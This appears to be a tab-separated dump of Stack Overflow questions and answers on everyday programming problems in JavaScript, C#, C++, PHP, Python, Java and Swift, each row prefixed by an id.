40702416	0	 <p>Got it working....had to return promise from child parent which is t.none() without catch()</p>
7686048	0	 <p>You can use:</p> <pre><code>xhr.timeout = 10000; xhr.ontimeout = timeoutFired; </code></pre> <p>for this purpose</p>
22619826	0	Report Pending Payments with mixed Monthly & Weekly intervals <p>We are working with a database that tracks payment plans for patients. Some patients pay monthly, some weekly, and some every other week.</p> <p>The PaymentsSchedule table fields are Patient, Frequency, NextDueDate, PaymentsRemaining, Amount. Once a payment is processed the NextDueDate and PaymentsRemaining fields are updated so that at any given time there is only one record representing all future payments for a given payment plan.</p> <p>The report we want to generate would show all payments expected within the next month. Something like this:</p> <pre><code>Report Date: 3/1/2014 Patient Frequency Next Date Pmts Left Amount 01 Monthly 3/01/2014 5 $100 02 Weekly 3/02/2014 3 $30 03 Weekly 3/02/2014 7 $25 04 Bi-Weekly 3/03/2014 4 $75 02 Weekly 3/09/2014 2 $30 03 Weekly 3/09/2014 6 $25 02 Weekly 3/16/2014 1 $30 03 Weekly 3/16/2014 5 $25 04 Bi-Weekly 3/17/2014 3 $75 03 Weekly 3/23/2014 4 $25 03 Weekly 3/30/2014 3 $25 </code></pre> <p>I could set up 5 different queries for the 5 date possibilities (weekly) of a payment plan for the next 31 days, pull them together in a UNION and then filter out dates that are not in my time horizon but I would like to find a simpler solution.</p> <p>Your help is much appreciated.</p> <p>Thanks,</p> <p>Jim S</p>
20958023	0	A simple C# Statement works unexpected <p>I've got this line of code: </p> <pre><code>int WStoneCost = PriceMethod.StoneCost / 100 * AP; </code></pre> <p>While PriceMethod.StoneCost is equal to 25 and AP is equal to 70. I've checked it using breakpoints and I can't understand why do I get zero after I run this line. (WStoneCost is equal to zero) Is it just a wrong symbol or am I doing something wrong? Thanks in advance. And how to get a correct double at the end? Like 17.<strong>5</strong></p>
25952788	0	 <p>Try this:</p> <pre><code>var result = list.Select(x =&gt; new[] { x.Key, x.Value }).ToArray(); </code></pre>
30883823	0	 <p>Partial answer:</p> <p>Try all permutations of all subsets of your digits, probably starting with the largest candidates.</p> <p>If your factors contain <code>5</code> the <em>last</em> digit must be <code>0</code>or <code>5</code></p> <p>If your factors contain <code>3</code> or <code>6</code> or <code>9</code> the sum of all candidate digits muts be a multiple of <code>3</code></p> <p>If your factors contain 2 or 4 or 6 or 8 the last digit must be even.</p> <p>And so on.</p>
13946115	0	 <p>You must add <code>MessageUI.framework</code> to your Xcode project and include a </p> <p><code>#import &lt;MessageUI/MessageUI.h&gt;</code> in your header file.</p> <p>try this code may be its helpful to you..</p> <pre><code>[self presentModalViewController:picker animated:YES]; //[self becomeFirstResponder];//try picker also instead of self </code></pre> <p>Also Refer this bellow tutorial and also check demo..</p> <ol> <li><p><a href="http://coenraets.org/blog/2012/11/new-tutorial-developing-and-architecting-a-phonegap-application/" rel="nofollow">new-tutorial-developing-and-architecting-a-phonegap-application</a></p></li> <li><p><a href="https://github.com/phonegap/phonegap-plugins/tree/master/iPhone/SMSComposer" rel="nofollow">SMSComposer</a></p></li> </ol> <p>i hope this help you...</p>
36910275	0	 <p>Do you need to use reflection? If you have control of the classes that you are iterating over, it would be better to create an interface. Reflection is slow and should be avoided where possible.</p> <pre><code>public interface IDocumentCreator { void GenerateDocument(); } </code></pre> <p>Add this interface to your classes:</p> <pre><code>public class YourClass : IDocumentCreator { // ... public void GenerateDocument() { // ... } } </code></pre> <p>And then make a <code>List&lt;IDocumentCreator&gt;</code> instead of <code>List&lt;object&gt;</code>. You can then call the method in the normal way:</p> <pre><code>List&lt;IDocumentCreator&gt; allClassesINeedList = ... foreach(IDocumentCreator item in allClassesINeedList) { item.GenerateDocument(); } </code></pre>
2053294	0	 <p>If I understand what you're trying to do... you can do something like this:</p> <pre><code>// For my benefit, hide all lists except the root items $('ul, li', $('#lesson-sidebar ul li')).hide(); // Show active parents and their siblings $('li a.active').parents('ul, li').each(function() { $(this).siblings().andSelf().show(); }); // Show the active item and its siblings $('li a.active').siblings().andSelf().show(); </code></pre> <p>The <a href="http://docs.jquery.com/Traversing/parents" rel="nofollow noreferrer">parents()</a> and <a href="http://docs.jquery.com/Traversing/siblings#expr" rel="nofollow noreferrer">siblings()</a> methods are both great for this kind of thing.</p> <p>Edit: There was a bug before where it wasn't showing parent siblings. Try this new version.</p> <p>Edit 2: Now it works with class="active" on the anchor instead of the list item.</p>
5306229	0	 <p>You've set the variable i in the line <code>var i = document.getElementById('i').innerHTML = (document.getElementById("nine").value);</code>. <code>i</code> refers to the variable i, not to the control with id i.</p> <p>You'll have to do</p> <pre><code>var a = document.getElementById('number').value </code></pre> <p>etc.</p> <p>Edit: Ah I see you've declared a..h inside your methods. Remember that <code>var a</code> only applies within the curly brackets that it's declared inside, so declare them at the start of your script by doing <code>var a=0</code> etc. This is called the 'scope' of your variables.</p>
13754753	0	 <p>If the table data is added by JS then you might want to add an on() handler like:</p> <pre><code>$('#area-work-time').on('change','input[type="checkbox"]',function(){ alert("inside change event"); }); </code></pre> <p>This makes the event trigger for dynamically created elements.</p>
23725631	0	C++ inherit template class <p>I've got a peculiar request, hopefully it's not too far fetched and can be done.</p> <p>I've got a template class</p> <pre><code> template&lt;class T&gt; class Packable { public: // Packs a &lt;class T&gt; into a Packet (Packet &lt;&lt; T) virtual sf::Packet&amp; operator &lt;&lt;(sf::Packet&amp; p) const = 0; friend sf::Packet&amp; operator &lt;&lt;(sf::Packet&amp; p, const T &amp;t); friend sf::Packet&amp; operator &lt;&lt;(sf::Packet&amp; p, const T *t); // Packs a Packet into a &lt;class T&gt; (T &lt;&lt; Packet) virtual T operator &lt;&lt;(sf::Packet&amp; p) const = 0; friend T&amp; operator &lt;&lt;(T &amp;t, sf::Packet&amp; p); friend T* operator &lt;&lt;(T *t, sf::Packet&amp; p); // Unpacks a Packet into a &lt;class T&gt; (Packet &gt;&gt; T) virtual sf::Packet&amp; operator &gt;&gt;(sf::Packet&amp; p) const = 0; friend sf::Packet&amp; operator &gt;&gt;(sf::Packet&amp; p, T &amp;); friend sf::Packet&amp; operator &gt;&gt;(sf::Packet&amp; p, T* t); }; </code></pre> <p>and I want to be able to use it something like</p> <pre><code>class Player : public Packable { //... } </code></pre> <p>Such that Player now has all of those operators overloaded for it.</p> <p>As of now, I get <code>Expected class name</code> as a compile error. Is there a way to accomplish this without needing to specify the class? That is to say; how can <code>Packable</code> pick up <code>Player</code> as <code>&lt;class T&gt;</code> when I inherit it?</p>
30136090	0	Single <br /> doesn't create a line break instead, requires two <p>I am working on a Wordpress theme and have been using Bootstrap a bit. I put my article excerpt for the homepage in a well, <code>div class='well'</code>. I have edited the well to have straight corners and have changed the border colour. Except those, there aren't any changes. But, when I try to add a linebreak between categories and tags, it doesn't float to extreme left as in the image below. </p> <p>Q1. How to use a single <code>&lt;br /&gt;</code> to make a line break between the two? Q2. There's a lot of blank space in the well after the category and tags. How to remove it?</p> <p><strong>HTML Code</strong> </p> <pre><code>&lt;div class="categories"&gt;&lt;?php the_category(' '); ?&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="tags"&gt;&lt;?php the_tags('',' '); ?&gt;&lt;/div&gt; </code></pre> <p><strong>CSS</strong></p> <pre><code>.categories{float:left; margin-right:3px;margin-bottom: 1px;} .categories a { background: #00A1E0; color: #FFFFFF; display: inline-block; margin-bottom: 2px; margin-left: 0px; padding: 1px 7px; text-decoration: none; transition: all 0.3s ease 0s; } .categories a:hover{background: #666; color:#fff;} .tags{float:left; margin-right:1%;margin-bottom:4px;} .tags a { font-size:70%; background:#666666; color: #FFFFFF; display: inline-block; margin-bottom: 3px; margin-left: 0px; padding: 1px 7px; text-decoration: none; transition: all 0.3s ease 0s; } .tags a:hover{color:#FFFFFF;} </code></pre> <p><strong>When I use single <code>&lt;br /&gt;</code>, this is what happens</strong> <a href="http://i.stack.imgur.com/OIDYt.png" rel="nofollow">http://i.stack.imgur.com/OIDYt.png</a> (Sorry, can't post images due to lack of rep).</p>
14425763	0	 <p>Create: app/code/local/Ffdotcom/Helloworld/etc/config.xml</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;config&gt; &lt;modules&gt; &lt;Ffdotcom_Helloworld&gt; &lt;version&gt;1.0.0&lt;/version&gt; &lt;/Ffdotcom_Helloworld&gt; &lt;/modules&gt; &lt;frontend&gt; &lt;routers&gt; &lt;helloworld&gt; &lt;use&gt;standard&lt;/use&gt; &lt;args&gt; &lt;module&gt;Ffdotcom_Helloworld&lt;/module&gt; &lt;frontName&gt;helloworld&lt;/frontName&gt; &lt;/args&gt; &lt;/helloworld&gt; &lt;/routers&gt; &lt;/frontend&gt; &lt;/config&gt; </code></pre> <p>Create: app/code/local/Ffdotcom/Helloworld/controllers/IndexController.php</p> <pre><code>&lt;?php class Ffdotcom_Helloworld_IndexController extends Mage_Core_Controller_Front_Action { public function indexAction(){ echo 'hello world'; } } </code></pre> <p>Create: app/etc/modules/Ffdotcom_Helloworld.xml </p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;config&gt; &lt;modules&gt; &lt;Ffdotcom_Helloworld&gt; &lt;active&gt;true&lt;/active&gt; &lt;codePool&gt;local&lt;/codePool&gt; &lt;/Ffdotcom_Helloworld&gt; &lt;/modules&gt; &lt;/config&gt; </code></pre>
37524896	0	 <p>Guava Caches store values in RAM. See <a href="https://github.com/google/guava/wiki/CachesExplained#applicability" rel="nofollow">https://github.com/google/guava/wiki/CachesExplained#applicability</a>.</p>
33539108	0	 <p>... and you could use the OpenNTF Domino API that has functions for exactly this. As far as I remember there is an example of this in the demo database. Not sure if it is also in the <a href="http://www.openntf.org/main.nsf/project.xsp?r=project/OpenNTF%20Domino%20API%20Demo%20Database" rel="nofollow">new version of the demo database</a> - but then you may just need to find an older version (e.g. for milestone 4.5 where I saw this).</p> <p>/John</p>
1680681	0	 <pre><code>string script = string.Format("alert('this is alert');"); ScriptManager.RegisterClientScriptBlock(Page, typeof(System.Web.UI.Page), "redirect", script, true); </code></pre>
668299	0	 <p>Not only are continuations monads, but they are a sort of universal monad, in the sense that if you have continuations and state, you can simulate any functional monad. This impressive but highly technical result comes from the impressive and highly technical mind of <a href="http://www.diku.dk/hjemmesider/ansatte/andrzej/" rel="nofollow noreferrer">Andrzej Filinski</a>, who wrote in 1994 or thereabouts:</p> <blockquote> <p>We show that any monad whose unit and extension operations are expressible as purely functional terms can be embedded in a call-by-value language with “composable continuations”.</p> </blockquote>
35860010	0	 <p>I also faced same problem, but when I added a space into the empty div, it started positioning properly. i.e.</p> <pre><code>div.innerHTML = &amp;nbsp;&amp;nbsp; </code></pre>
18271791	0	 <p>There are many options and they're all very easy to pick up in a couple of days. Which one you choose is completely up to you.</p> <p>Here are a few worth mentioning:</p> <p><strong><a href="http://www.tornadoweb.org/">Tornado</a>: a Python web framework and asynchronous networking library, originally developed at FriendFeed.</strong> </p> <pre><code>import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.write("Hello, world") application = tornado.web.Application([ (r"/", MainHandler), ]) if __name__ == "__main__": application.listen(8888) tornado.ioloop.IOLoop.instance().start() </code></pre> <p><br> <br> <strong><a href="http://bottlepy.org/docs/dev/">Bottle</a>: a fast, simple and lightweight WSGI micro web-framework for Python. It is distributed as a single file module and has no dependencies other than the Python Standard Library.</strong></p> <pre><code>from bottle import route, run, template @route('/hello/&lt;name&gt;') def index(name='World'): return template('&lt;b&gt;Hello {{name}}&lt;/b&gt;!', name=name) run(host='localhost', port=8080) </code></pre> <p><br> <br> <strong><a href="http://www.cherrypy.org/">CherryPy</a>: A Minimalist Python Web Framework</strong></p> <pre><code>import cherrypy class HelloWorld(object): def index(self): return "Hello World!" index.exposed = True cherrypy.quickstart(HelloWorld()) </code></pre> <p><br> <br> <strong><a href="http://flask.pocoo.org/">Flask</a>: Flask is a microframework for Python based on Werkzeug, Jinja 2 and good intentions.</strong> </p> <pre><code>from flask import Flask app = Flask(__name__) @app.route("/") def hello(): return "Hello World!" if __name__ == "__main__": app.run() </code></pre> <p><br> <br> <strong><a href="http://webpy.org/">web.py</a>: is a web framework for Python that is as simple as it is powerful.</strong></p> <pre><code>import web urls = ( '/(.*)', 'hello' ) app = web.application(urls, globals()) class hello: def GET(self, name): if not name: name = 'World' return 'Hello, ' + name + '!' if __name__ == "__main__": app.run() </code></pre>
20709676	0	Multiple Select Statements <p>I am trying to create a list of items in which every fourth item in the list is an item that is on from New York and On Sale. The rest of the items in the list are the items that are from New York no matter if they are on sale or not. </p> <p>How can I properly use two select statements to break the list up into the order that I want? Below is what I'm using now. It creates a list of paragraphs but does not understand what the variables <code>$article</code> and <code>$article2</code> are.</p> <pre><code>&lt;ul&gt; &lt;? $sort = id; $sql = "SELECT * FROM `Catalog` WHERE state = 'New York' and in_stock = 'yes' ORDER BY $sort"; $result = mysql_query($sql); $sql2 = "SELECT * FROM `Catalog` WHERE state = 'New York' and sale_item = 'yes' ORDER BY $sort "; $result2 = mysql_query($sql2); $i = 0; while ( $article = mysql_fetch_array($result) || $article2 = mysql_fetch_array($result2) ) { if ($i == 0) { echo '&lt;li&gt;This item number is on sale:'.article2[id]. '&lt;/li&gt;'; $i++; } else if ($i == 3) { echo '&lt;li&gt;This item number is regular price'.article[id]. '&lt;/li&gt;'; $i = 0; } else { echo '&lt;li&gt;This item number is regular price'.article[id].'&lt;/li&gt;'; $i++; } } ?&gt; &lt;/ul&gt; </code></pre> <p>Based on Dave's suggestion I'm trying it this way. But php still doesn't know how to interpret $itemsOnSale or $items.</p> <pre><code>&lt;ul&gt; &lt;? $items = array(); $itemsOnSale = array(); $sql = "SELECT * FROM `Catalog` WHERE state = 'New York' AND in_stock = 'yes' ORDER BY $sort"; $result = mysql_query($sql); while ( $row = mysql_fetch_assoc($result) ) { if ( $row['sale_item'] == 'yes' ) { $itemsOnSale[] = $row; } else { $items[] = $row; } if ($i == 0) { echo '&lt;li&gt;This item number is on sale:'.$itemsOnSale[id]. '&lt;/li&gt;'; $i++; } else if ($i == 3) { echo '&lt;li&gt;This item number is regular price'.$items[id]. '&lt;/li&gt;'; $i = 0; } else { echo '&lt;li&gt;This item number is regular price'.$items[id].'&lt;/li&gt;'; $i++; } } ?&gt; &lt;/ul&gt; </code></pre>
29785839	0	 <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var url = 'http://website.com/testing/test2/', //URL to convert lastSlash = url.lastIndexOf('/'), //Find the last '/' middleUrl = url.substring(0,lastSlash); //Make a new string without the last '/' lastSlash = middleUrl.lastIndexOf('/'); //Find the last '/' in the new string (the second last '/' in the old string) var newUrl = middleUrl.substring(0,lastSlash); //Make a new string that removes the '/' and everything after it alert(newUrl); //Alert the new URL, ready for use</code></pre> </div> </div> </p> <p>This works.</p>
24574034	0	 <p>You can sort the elements before adding them to the DOM and then add them; that should work.</p> <pre><code>var statecontent = ['&lt;option value="Texas" data-code="TX"&gt;Texas - TX&lt;/option&gt;', '&lt;option value="Washington" data-code="WA"&gt;Washington - WA&lt;/option&gt;', '&lt;option value="Maryland" data-code="MD"&gt;Maryland - MD&lt;/option&gt;']; statecontent.sort(function(a,b) { return $(a)[0].text == $(b)[0].text ? 0 : $(a)[0].text &lt; $(b)[0].text ? -1 : 1; }); </code></pre> <p>And you also need to use single quotes for your array elements as you are already using the double quotes for the attributes, or at least escape it in the attributes.</p> <p><a href="http://jsfiddle.net/fiddleyetu/n8bSV/2/" rel="nofollow"><strong>WORKING JSFIDDLE DEMO</strong></a></p>
12932793	0	 <blockquote> <p>Why is this the case that an empty class without any values already needs 220 bytes for saving itself?</p> </blockquote> <p>Why ask what you can find out? This code already yields 33 bytes:</p> <pre><code>FileStream fs = new FileStream("Serialized.dat", FileMode.Create); BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(fs, "FooString"); </code></pre> <p>Because there's more being serialized than just the string itself. If you serialize an object, its class definition (and the assembly it's in) is also being serialized. Serializing an instance of this class:</p> <pre><code>[Serializable] class Foo { public String FooString { get; set; } } </code></pre> <p>Costs 166 bytes, while the <code>FooString</code> property contains the same data as the raw string serialized earlier.</p> <p>So: write your own serialization (or: load/save) logic. You are the one that reads and writes that data, so you can for example assign specific bytes in the space you have to certain properties of your class.</p>
7456443	0	 <p>No. You'd have to expose the static instance to the caller. Reference equality means that it is exactly the same object. Unless there is a way to access that particular object, you can't have another that references the same memory. If you were to use the equality operator, that would be different as <code>string</code> overloads that to do value equality rather than reference equality.</p> <p>Had you, on the other hand, set the static instance value to a constant, you could (by using the constant) have a reference that is equal to the static instance. That is because string literals are interned and shared through out the code, meaning that all string literals that are the same have the same reference.</p> <p>For example,</p> <pre><code>class GuessTheSecret { private static readonly string Secret = "Secret"; public static bool IsCorrect(string token) { return object.ReferenceEquals(token, Secret); } } Console.WriteLine( GuessTheSecret.IsCorrect( "Secret" ) ); </code></pre> <p>would output <code>True</code></p>
24570351	0	 <p>If you declare the variable outside of a method, the state is remembered.</p> <p>A solution could be:</p> <pre><code>public class Test { int count = 0; public static void main(String[] args) { Test test1 = new Test(); test1.doMethod(); test1.doMethod(); test1.doMethod(); } public void doMethod () { count++; System.out.println(count); } } </code></pre> <p>This way <code>count</code> is created the moment you call <code>new Test()</code> and will be remembered until the Object is destroyed. Variables have something called a 'scope'. They can only be accessed in their scope and will only exist in that scope. Because you created <code>count</code> inside your <code>void doMethod()</code> method, it did not exist anywhere else. An easy way to look at the scope is by watching the brackets <code>{ }</code> your variables are only stored inside those brackets. In my solution the brackets for <code>count</code> are the brackets for the entire <code>Test</code> class. Thus the variable is stored until the Object is destroyed.</p> <p>More on scope: <a href="http://en.wikipedia.org/wiki/Scope_(computer_science)" rel="nofollow">http://en.wikipedia.org/wiki/Scope_(computer_science)</a></p> <p>I just noticed you mentioned you want the <code>count</code> value to remain after you run the program. You can do this by saving it in a database or file. However, you might have meant that you want the <code>count</code> value to remain after you run the <code>void doMethod()</code> method. I have edited my solution to execute the <code>void doMethod()</code> method three times so you see the value actually remains after running the method.</p>
9024058	0	jQuery time and date <p>I am looking for a time output using jQuery, for example, would be great to know what time it is on the visitor's browser and the current day (friday,saturday,monday, etc...).</p> <p>Is there any way to do it only with jQuery? I don't really like the way javascript handles time issues. </p> <p>If you recommend any plugin, please tell me wich.</p> <p>Thanks so much! Souza.</p> <p>EDIT:</p> <p>I'm looking to avoid substring javascript outputs, or convert the results.</p> <p>Wouldn't be great to use </p> <pre><code>$("#setime").yourtime("day"); </code></pre> <p>and give me the day? or </p> <pre><code> $("#setime").yourtime("hour", 24format); </code></pre> <p>and give you the hour in any format you need?</p> <p>?</p>
27081217	0	Comparing values in a stl list<> that is populated with a class <p>I've been playing around with my code, trying to better it and im stuck a this part.</p> <p>I have the following header</p> <p>Funcionario.h</p> <pre><code>class Funcionario { private: std::string Userid; std::string Nome; std::string Sobrenome; std::string Email; std::string Pass; public: Funcionario(std::string Userid, std::string Nome, std::string Sobrenome, std::string Email, std::string Pass); ~Funcionario(void); string GetUserID() { return Userid; } string GetName() { return Nome; } string GetSName() { return Sobrenome; } string GetEmail() {return Email; } string GetPass() { return Pass; } }; </code></pre> <p>And this is my form, note that it's not the entire form, just the part that matters;</p> <pre><code>#include &lt;list&gt; #include &lt;algorithm&gt; #include "Funcionario.h" Form1(void) { InitializeComponent(); // //TODO: Add the constructor code here // LF = new list&lt;Funcionario&gt;(); } //Button click list&lt;Funcionario&gt;::iterator it1 = find(LF-&gt;begin(), LF-&gt;end(), ID); //*Searches for ID </code></pre> <p>When i try to run this it says that there is no suitable converter to tipe Funcionario. Any help would be apreciated and thank you very much in advance.</p>
29913138	0	 <p>You can use <code>sprintf</code> and then trim the zeros. This is the same idea as @Havenard's answer, but writing spaces over the zeros instead of cutting the string. And my C-style is somewhat different FWIW. My style is that I don't want to count or do any arithmetic in my head; that's what the C optimizer is for :).</p> <pre><code>#include &lt;math.h&gt; #include &lt;stdio.h&gt; #include &lt;string.h&gt; int main() { int kPower; for(kPower=-4; kPower&lt;5; kPower++){ enum { bufsize = 2+5+10+1+4+1+1 }; char buf[bufsize]; int j,n,i; double raisePower = pow(10,kPower); //printf("%2d %10.4f\n",kPower,raisePower); snprintf(buf,bufsize,"%2d %10.4f\n",kPower,raisePower); j=strchr(buf,'.')-buf; j+=1; n=strchr(buf+j,'\n')-buf; for (i=n-1; i&gt;j; i--) if (buf[i]=='0') buf[i]=' '; else break; printf("%s",buf); } return 0; } </code></pre> <p>Output:</p> <pre><code>-4 0.0001 -3 0.001 -2 0.01 -1 0.1 0 1.0 1 10.0 2 100.0 3 1000.0 4 10000.0 </code></pre>
23406407	0	Regex of path not working <p>I need to create reg-ex for path like aaaa/bbb/ccc or aaa-bbb or aaa_bbb_ccc_ddd etc How should I do that ? It can contain only <strong>alpha numeric with hyphen underscore and slash</strong>. Ive tried something like this which is not working</p> <pre><code>@"^((?:/[a-zA-Z0-9]+)+/?|/?(?:[a-zA-Z0-9]+/)+)[a-zA-Z0-9]*$" </code></pre>
10522260	0	 <p>If you want to create a new object from a class of which the name is stored in a string, you can use:</p> <pre><code>$object = new $className(); </code></pre> <p>Or in your case:</p> <pre><code>$option = new $_POST['option_name'](); $option-&gt;calculated(); $option-&gt;create_record_for_database(); </code></pre> <p>However, I personally don't like the idea of using variables like this.</p>
35450932	0	 <p>As you want to avoid recursion, you need to reverse the list first. I see some attempt in the original code but it doesn't look correct. Try the following:</p> <pre><code>node *current = head; if (current != NULL) { node *prev = NULL; for (node *next = current-&gt;next; ; next = (current = next)-&gt;next) { current-&gt;next = prev; prev = current; if (next == NULL) break; } } </code></pre> <p>Then <code>current</code> will point to the head of the list and you can traverse using the <code>next</code> link over the list. Note that it will modify your original list but this is expected as I understood the original requirement.</p>
14184695	0	 <p>This is a by-product of what Visual C++ refers to as <strong>Identical COMDAT Folding</strong> (ICF). It merges identical functions into a single instance. You can disable it by adding the following switch to the linker commandline: <code>/OPT:NOICF</code> (from the Visual Studio UI it is found under <em>Properties->Linker->Optimization->Enable COMDAT Folding</em>)</p> <p>You can find details at the MSDN article here: <a href="http://msdn.microsoft.com/en-us/library/bxwfs976%28v=vs.110%29.aspx">/OPT (Optimizations)</a></p> <p>The switch is a linker-stage switch, which means you won't be able to enable it just for a specific module or a specific region of code (such as <code>__pragma( optimize() )</code> which is available for compiler-stage optimization).</p> <p>In general, however, it is considered poor practice to rely on either function pointers or literal string pointers (<code>const char*</code>) for testing uniqueness. String folding is widely implemented by almost all C/C++ compilers. Function folding is only available on Visual C++ at this time, though increased widespread use of template&lt;> meta-programming has increased requests for this feature to be added to gcc and clang toolchains.</p> <p>Edit: Starting with binutils 2.19, the included gold linker supposedly also supports ICF, though I have been unable to verify it on my local Ubuntu 12.10 install.</p>
2401438	0	MVC Model Implementation? <p>I am creating a simple application using the MVC design pattern where my model accesses data off the web and makes it available to my controllers for subsequent display. </p> <p>After a little research I have decided that one method would be to implement my model as a singleton so that I can access it as a shared instance from any of my controllers.</p> <p>Having said that the more I read about singletons the more I notice people saying there are few situations where a better solution is not possible.</p> <p>If I don't use a singleton I am confused as to where I might create my model class. I am not over happy about doing it via the appDelegate and it does not seem viable to put it in any of the viewControllers.</p> <p>any comments or pointers would be much appreciated.</p> <p><strong>EDIT_001:</strong></p> <p>TechZen, very much appreciated (fantastic answer as always) can I add one further bit to the question before making it accepted. What are your thoughts on deallocating the singleton when the app exits? I am not sure how important this is as I know quite often that object deallocs are not called on app teardown as they will be cleared when the app exits anyway. Apparently I could register the shared instance with NSApplicationWillTerminateNotification, is that worth doing, just curious?</p> <p>gary</p>
1777744	0	 <p>Named Pipes can be used for this. It might be the more acceptable method with .net.You can define a service in the main application that accepts a message from the calling application. Here's a sample of the service, in vb. It calls the main app and passes a string to it, in this case, a filename. It also returns a string, but any parameters can be used here.</p> <pre><code>Public Class PicLoadService : Implements IMainAppPicLoad Public Function LoadPic(ByVal fName As String) As String Implements IMainAppPicLoad.LoadPic ' do some stuff here. LoadPic = "return string" End Function End Class </code></pre> <p>The setup in the calling application is a little more involved. The calling and main application can be the same application.</p> <pre><code>Imports System.Diagnostics Imports System.ServiceModel Imports System.IO Imports vb = Microsoft.VisualBasic Module MainAppLoader Sub Main() Dim epAddress As EndpointAddress Dim Client As picClient Dim s As String Dim loadFile As String Dim procs() As Process Dim processName As String = "MainApp" loadFile = "" ' filename to load procs = Process.GetProcessesByName(processName) If UBound(procs) &gt;= 0 Then epAddress = New EndpointAddress("net.pipe://localhost/MainAppPicLoad") Client = New picClient(New NetNamedPipeBinding, epAddress) s = Client.LoadPic(loadFile) End If End Sub &lt;System.Diagnostics.DebuggerStepThroughAttribute(), _ System.CodeDom.Compiler.GeneratedCodeAttribute("System.ServiceModel", "3.0.0.0")&gt; _ Partial Public Class picClient Inherits System.ServiceModel.ClientBase(Of IMainAppPicLoad) Implements IMainAppPicLoad Public Sub New(ByVal binding As System.ServiceModel.Channels.Binding, ByVal remoteAddress As System.ServiceModel.EndpointAddress) MyBase.New(binding, remoteAddress) End Sub Public Function LoadPic(ByVal fName As String) As String Implements IMainAppPicLoad.LoadPic Return MyBase.Channel.LoadPic(fName) End Function End Class ' from here down was auto generated by svcutil. ' svcutil.exe /language:vb /out:generatedProxy.vb /config:app.config http://localhost:8000/MainAppPicLoad ' Some has been simplified after auto code generation. &lt;System.CodeDom.Compiler.GeneratedCodeAttribute("System.ServiceModel", "3.0.0.0"), _ System.ServiceModel.ServiceContractAttribute(ConfigurationName:="IMainAppPicLoad")&gt; _ Public Interface IMainAppPicLoad &lt;System.ServiceModel.OperationContractAttribute(Action:="http://tempuri.org/IMainAppPicLoad/LoadPic", ReplyAction:="http://tempuri.org/IMainAppPicLoad/LoadPicResponse")&gt; _ Function LoadPic(ByVal fName As String) As String End Interface &lt;System.CodeDom.Compiler.GeneratedCodeAttribute("System.ServiceModel", "3.0.0.0")&gt; _ Public Interface IMainAppPicLoadChannel Inherits IMainAppPicLoad, System.ServiceModel.IClientChannel End Interface &lt;System.Diagnostics.DebuggerStepThroughAttribute(), _ System.CodeDom.Compiler.GeneratedCodeAttribute("System.ServiceModel", "3.0.0.0")&gt; _ Partial Public Class IMainAppPicLoadClient Inherits System.ServiceModel.ClientBase(Of IMainAppPicLoad) Implements IMainAppPicLoad Public Sub New(ByVal binding As System.ServiceModel.Channels.Binding, ByVal remoteAddress As System.ServiceModel.EndpointAddress) MyBase.New(binding, remoteAddress) End Sub Public Function LoadPic(ByVal fName As String) As String Implements IMainAppPicLoad.LoadPic Return MyBase.Channel.LoadPic(fName) End Function End Class End Module &lt;ServiceContract()&gt; Public Interface IMainAppPicLoad &lt;OperationContract()&gt; Function LoadPic(ByVal fName As String) As String End Interface </code></pre>
28856611	1	Set a global variable in other function <p>I am trying to set the value of area and perimeter variable that are calculated in "on_button" function and use those in labels. I am confused with using global in the code, because some says its not good. </p> <pre><code>import Tkinter as tk class SampleApp(tk.Tk): def __init__(self): tk.Tk.__init__(self) self.area = 0 self.widthLabel = tk.Label(self, text="Width:") self.widthLabel.grid(row=0, column=0) self.widthEntry = tk.Entry(self) self.widthEntry.grid(row=0, column=1) self.heightLabel = tk.Label(self, text="Height:") self.heightLabel.grid(row=1, column=0) self.heightEntry = tk.Entry(self) self.heightEntry.grid(row=1, column=1) #self.areaValLabel = tk.StringVar() #self.areaValLabel.set(0) self.areaLabel = tk.Label(self, text="Area:").grid(row=3, column=0) self.areaValLabel = tk.Label(self, textvariable=self.area).grid(row=3, column=1) self.PerLabel = tk.Label(self,text="Perimeter:").grid(row=4, column=0) #self.perValLabel =tk.Label(self, text=perimeter).grid(row=4, column=1) self.button = tk.Button(self, text="Calculate", command=self.on_button).grid(row=2, column=0) def on_button(self): print self.widthEntry.get() print self.heightEntry.get() width = self.widthEntry.get() height = self.heightEntry.get() print float(width)*float(height) self.area.set(float(width)*float(height)) app = SampleApp() app.title("HW1") app.mainloop() </code></pre>
30163242	0	 <p>If you <em>uninstall</em> packages, then you run the risk of removing things that were already there, but happened to be upgraded. As a rule, you should use <code>yum</code> (or equivalent) for managing packages, which allows you to <em>downgrade</em> a package. This would remove new packages, and downgrade existing ones. See for example <a href="https://access.redhat.com/solutions/158973" rel="nofollow">How to safely downgrade or remove glibc with yum and rpm</a></p> <p>Selecting the names of packages to downgrade can be done using the output of <code>rpm -qa</code>, formatted to allow simple selection of the given date. For instance (see <em><a href="http://unix.stackexchange.com/questions/2291/centos-list-the-installed-rpms-by-date-of-installation-update">CentOS: List the installed RPMs by date of installation/update?</a></em>), you can list packages in the reverse-order of their install date using</p> <pre><code>rpm -qa --last </code></pre> <p>As a more elaborate approach, you can use the <a href="http://www.rpm.org/wiki/Docs/QueryFormat" rel="nofollow"><code>--queryformat</code></a> option with the <code>:date</code> option to format the date exactly as you want (it uses <a href="http://man7.org/linux/man-pages/man3/strftime.3.html" rel="nofollow"><code>strftime</code></a>).</p> <p>In either case, you can make a script to extract the package names from the output of <code>rpm</code>, and use those packages with <code>yum</code> (or even <code>rpm</code>) to manipulate as needed.</p> <p>When doing a downgrade, there is one odd thing to keep in mind: that revises the install-date for packages to be the <em>current date</em> rather than a complete undo, by using the previous date.</p>
32893610	0	 <p>To fix the first block issue:</p> <blockquote> <p>Value of type '<code>UIDynamicBehavior</code>' has no member 'items'</p> </blockquote> <pre><code>let attachmentBehavior:UIAttachmentBehavior = behavior as! UIAttachmentBehavior </code></pre> <p>To fix the second issue:</p> <blockquote> <p>Cannot convert return expression of type '<code>[UIDynamicItem]</code>' to return type '<code>[UICollectionViewLayoutAttributes]?</code>'</p> </blockquote> <pre><code>return self.dynamicAnimator.itemsInRect(rect) as? [UICollectionViewLayoutAttributes] </code></pre>
